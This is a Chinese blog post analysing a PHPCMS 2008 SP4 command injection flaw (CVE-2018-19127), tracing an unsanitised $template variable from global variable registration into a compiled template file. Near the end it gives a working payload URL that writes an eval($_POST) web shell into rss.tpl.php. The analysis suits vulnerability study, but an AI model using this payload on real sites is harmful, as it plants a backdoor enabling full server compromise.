php mysql4.1.20 注入爆表_PHPCMS-2008 SP4命令注入漏洞分析(CVE-2018-19127)

本文深入探讨了PHP CMS的一个命令注入漏洞,源于其全局变量注册机制和未经处理的`template`变量。攻击者可利用此漏洞通过精心构造的payload写入任意文件。
摘要由CSDN通过智能技术生成

在说这个漏洞之前,我们先需要了解phpcms的一个机制,就是类似于全局变量注册的一个东西,方便于程序员的开发,很多的CMS都会通过代码实现这样一套机制.

这套机制类似于早先php版本中的register_globals,后来因为安全问题,在5.30后被废除了,因此很多cms自己实现,但因为安全问题,这样机制一般会经过比较严格的过滤.

我们来看phpcms,在common.inc.php中,通过

if($_REQUEST)

{

if(MAGIC_QUOTES_GPC)

{

$_REQUEST = new_stripslashes($_REQUEST);

if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);

extract($db->escape($_REQUEST), EXTR_SKIP);

}

else

{

$_POST = $db->escape($_POST);

$_GET = $db->escape($_GET);

$_COOKIE = $db->escape($_COOKIE);

@extract($_POST,EXTR_SKIP);

@extract($_GET,EXTR_SKIP);

@extract($_COOKIE,EXTR_SKIP);

}

if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);

if($_COOKIE) $db->escape($_COOKIE);

}

来实现了全局变量注册,如果没有开启gpc,则通过一个escape函数对传入变量进行转义,我们看看这个escape函数

function escape($string)

{

if(!is_array($string)) return str_replace(array('\n', '\r'), array(chr(10), chr(13)), mysql_real_escape_string(preg_replace($this->search, $this->replace, $string), $this->connid));

foreach($string as $key=>$val) $string[$key] = $this->escape($val);

return $string;

}

常规过滤操作,主要是一个针对sql注入的mysql_real_escape_string函数,其它没什么好说的,接下来我们看看漏洞点type.php

require dirname(__FILE__).'/include/common.inc.php';

$typeid = intval($typeid);

if(!empty($typeid) && !isset($TYPE[$typeid]))

{

showmessage('访问的类别不存在!');

}

elseif(isset($TYPE[$typeid]))

{

$T = cache_read('type_'.$typeid.'.php');

extract($T);

$head['title'] = $T['name'].'_'.$PHPCMS['sitename'];

$head['keywords'] = $T['name'];

$head['description'] = strip_tags($description);

}

if(empty($template)) $template = 'type';

$head['title'] = '类别首页_'.$PHPCMS['sitename'];

$head['keywords'] = $PHPCMS['meta_keywords'];

$types = array();

foreach($TYPE AS $k=>$v)

{

if($v['module'] != 'phpcms') continue;

$types[$k] = $v;

}

$TYPE = $types;

$ttl = CACHE_PAGE_LIST_TTL;

header('Last-Modified: '.gmdate('D, d M Y H:i:s', TIME).' GMT');

header('Expires: '.gmdate('D, d M Y H:i:s', TIME + $ttl).' GMT');

header('Cache-Control: max-age='.$ttl.', must-revalidate');

include template('phpcms', $template);

cache_page($ttl);

?>

注意$template变量,这个变量在该文件中并未被声明,因此可以通过变量覆盖的方式定义,从代码中可以看到该变量未经任何处理被传入了template函数,跟进一下

function template($module = 'phpcms', $template = 'index', $istag = 0)

{

$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';

if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))

{

require_once PHPCMS_ROOT.'include/template.func.php';

template_compile($module, $template, $istag);

}

return $compiledtplfile;

}

$template变量又被放入了template_compile函数中,继续跟

function template_compile($module, $template, $istag = 0)

{

$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html';

$content = @file_get_contents($tplfile);

if($content === false) showmessage("$tplfile is not exists!");

$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';

$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);

$strlen = file_put_contents($compiledtplfile, $content);

@chmod($compiledtplfile, 0777);

return $strlen;

}

在其中这句

$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);

$template变量被直接拼接成为$content变量的一部分,然后被

file_put_contents($compiledtplfile, $content);

写入到文件之中,如此便导致了可以写入任意文件,我们在写入的时候,只要保证不被前面提到的mysql_real_escape_string干掉就行了.

执行payload

http://localhost/phpcms/type.php?template=tag_(){};eval($_POST[sai]);{//../rss

在phpcms\data\cache_template\rss.tpl.php

代码中成功插入攻击payload

1a5bfdfa2b39bafe8018b725fd95bfd3.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值